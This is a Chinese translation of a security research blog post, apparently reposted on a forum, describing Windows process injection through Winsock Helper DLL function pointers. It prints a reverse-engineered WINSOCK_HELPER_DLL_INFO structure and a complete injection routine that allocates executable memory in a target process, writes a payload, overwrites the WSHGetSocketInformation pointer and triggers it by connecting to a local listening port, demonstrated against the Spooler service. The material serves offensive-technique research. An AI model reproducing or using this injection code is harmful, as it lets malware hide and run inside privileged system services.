原文:https://modexp.wordpress.com/2019/07/27/process-injection-winsock/
翻译:玉林小学生
校对:Nxe
引言
据MSDN手册描述,Winsock Helper函数(WSHX)在Windows Server 2003、Windows Vista及之后版本中被废弃了。但是,Helper Dll在最新的Windows 10构建中仍然被用在TCP、红外、蓝牙、Hyper-V的socket中,近几年还被用于unix套接字地址族。MSDN中已经详细描述了Helper Dll架构的细节,本文只重点关注众多利用Helper Dll进行代码重定向、进程注入的方法中的一个。某Helper Dll的配置功能长期以来一直被滥用,但本文不对其进行详细描述。
Winsock Helper DLL信息
在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winsock\Parameters下可以看到一个传输协议的列表,如图1。
图1:Windows 10 VM支持的传输协议
每个字符串对应一个Helper Dll,详细信息可以在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\协议\Parameters\Winsock下找到。图2展示TCPIP协议对应的详细信息。
图2.传输协议配置
当通过
socket()或
WSASocket()创建一个socket,WINSOCK_HELPER_DLL_INFO结构在插入mswsock.dll!SockHelperDllListHead之前被使用注册表和导出Dll函数的地址进行填充。微软官方文档中没有记录WINSOCK_HELPER_DLL_INFO结构,但可以在网上找到一个该结构老版本的信息。该结构最新版的一些成员只能通过逆向工程来获得,所以我只能保证下面的结构描述在最新的Windows 10构建中有效。
typedef struct _WINSOCK_HELPER_DLL_INFO {
LIST_ENTRY HelperDllListEntry;
DWORD Unknown;
HANDLE DllHandle;
INT MinSockaddrLength;
INT MaxSockaddrLength;
INT MinTdiAddressLength;
INT MaxTdiAddressLength;
ULONG64 UseDelayedAcceptance;
PWINSOCK_MAPPING Mapping;
GUID ProviderGUID;
PWSH_OPEN_SOCKET WSHOpenSocket;
PWSH_OPEN_SOCKET2 WSHOpenSocket2;
PWSH_JOIN_LEAF WSHJoinLeaf;
PWSH_NOTIFY WSHNotify;
PWSH_GET_SOCKET_INFORMATION WSHGetSocketInformation;
PWSH_SET_SOCKET_INFORMATION WSHSetSocketInformation;
PWSH_GET_SOCKADDR_TYPE WSHGetSockaddrType;
PWSH_GET_WILDCARD_SOCKADDR WSHGetWildcardSockaddr;
PWSH_GET_BROADCAST_SOCKADDR WSHGetBroadcastSockaddr;
PWSH_ADDRESS_TO_STRING WSHAddressToString;
PWSH_STRING_TO_ADDRESS WSHStringToAddress;
PWSH_IOCTL WSHIoctl;
} WINSOCK_HELPER_DLL_INFO, *PWINSOCK_HELPER_DLL_INFO;
定位SockHelperDllListHead
mswsock.dll!SockHelperDllListHead是一个
LIST_ENTRY结构的全局变量。定位该结构最简单、最快速方法是搜索.data段中指向堆内存的指针。进行搜索前,需要在本地创建一个“虚拟”TCP/IP 套接字来初始化该结构。一旦找到该结构,要把保存为相对虚拟地址(Relative Virtual Address)的堆指针地址加上远程进程中mswsock.dll的基地址。你可以使用
SymFromName()或
IDebugSymbols::GetOffsetByName来定位准确地址,但PoC搜索.data段来避免依赖任何调试符号。
定位Processes
任何使用Winsock函数的进程都是潜在的注入目标。但是,为了简化,PoC只选择监听TCP/IPv4端口上入站连接的进程。该进程还必须准许被我们打开进行虚拟内存读写来重写函数指针。图3列出Windows 10 VM中满足这些规则的有效进程列表。
图3.Windows下监听TCP/IPV4端口
图4中显示的后台服务使用了红外sockets。
图4.后台打印服务相关的IrDA socket函数
COM(Component Object Model)和DCOM(Distributed COM)中关键的RPC(Remote Procedure Call)和RPC端点映射使用了Hyper-V sockets,如图5所示。
图5.RPC服务和RPC端点映射的Hyper-V socket函数
有许多触发Winsock函数执行的方法,但至今最简单的方法是连接到一个监听状态的端口导致调用
Tcpip4_WSHGetSocketInformation。这个函数IPv4和IPv6都有使用,所以与进程使用的协议版本无关。还有一个方法值得一提,但只影响使用
DnsQuery_A来解析IP地址的Windows DNS缓存服务。该请求导致调用WSHOpenSocket*函数来建立与远程DNS服务器的连接。图6列出TCP/IPv4函数。
图6.mswsock.dll中的TCP/IPv4函数
进程注入
在图7中可以看到notepad运行在spooler服务之下。我以这个作为演示注入的例子。
图7. 注入后Notepad运行在Spooler打印服务下面
下面是核心注入代码。想更详细了解它如何工作在这里看完整PoC。
VOID inject(DWORD pid, WORD port, LPVOID payload, DWORD payloadSize) {
DWORD rva, r;
HANDLE hp;
WINSOCK_HELPER_DLL_INFO hdi;
LPVOID cs, addr;
SIZE_T wr;
SOCKET s;
struct sockaddr_in sin;
// 1. Try open process for reading/writing VM
// 1. 尝试打开进程来进行读写虚拟内存
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hp == NULL) {
printf("Unable to open PID : %i\n", pid);
return;
}
// 2. Get helper DLL entry for TCP v4
// 2. 获取TCP v4的helper DLL的入口
addr = GetHelperDLLInfo(hp, pid, &hdi);
if (addr != NULL) {
// 3. Create a windows socket and write the payload to remote process
// 3. 创建一个windows socket 并向远程进程写payload
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 4. Update the function pointer with pointer to payload
// 4. 修改函数指针指向payload
WriteProcessMemory(
hp,
(PBYTE)addr + offsetof(WINSOCK_HELPER_DLL_INFO, WSHGetSocketInformation),
&cs,
sizeof(ULONG_PTR),
&wr);
// 5. Trigger it with connection to the port on localhost
// 5. 连接localhost的端口来触发调用payload
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(s, (struct sockaddr*)&sin, sizeof(sin));
// wait a moment before restoring pointer
Sleep(0);
// 6. Restore function pointer and clean up
// 6. 恢复函数指针并清理
WriteProcessMemory(
hp,
(PBYTE)addr + offsetof(WINSOCK_HELPER_DLL_INFO, WSHGetSocketInformation),
&hdi.WSHGetSocketInformation,
sizeof(ULONG_PTR),
&wr);
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
closesocket(s);
}
CloseHandle(hp);
}
结论
通过修改远程进程的Winsock Helper函数来执行payload是可行的。PoC以监听服务作为目标仅仅是因为它们是最容易注入的。你可能会说这些服务运行在高完整性级别上,攻击者很难利用。系统中也有许多低完整性级别的进程使用Winsock helper函数进行出站连接,或者也可以基于其它I/O机制,如RPC、ALPC和窗口消息,来导致执行同样的helper函数。系统中也有一些对管理员有效的接口,在执行某些特定任务是会利用Winsock helper函数。我仅针对这个进行了实现,但不意味着只有TCP/IP侦听者被影响。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-8-22 09:28
被0sWalker编辑
,原因: 修改代码缩进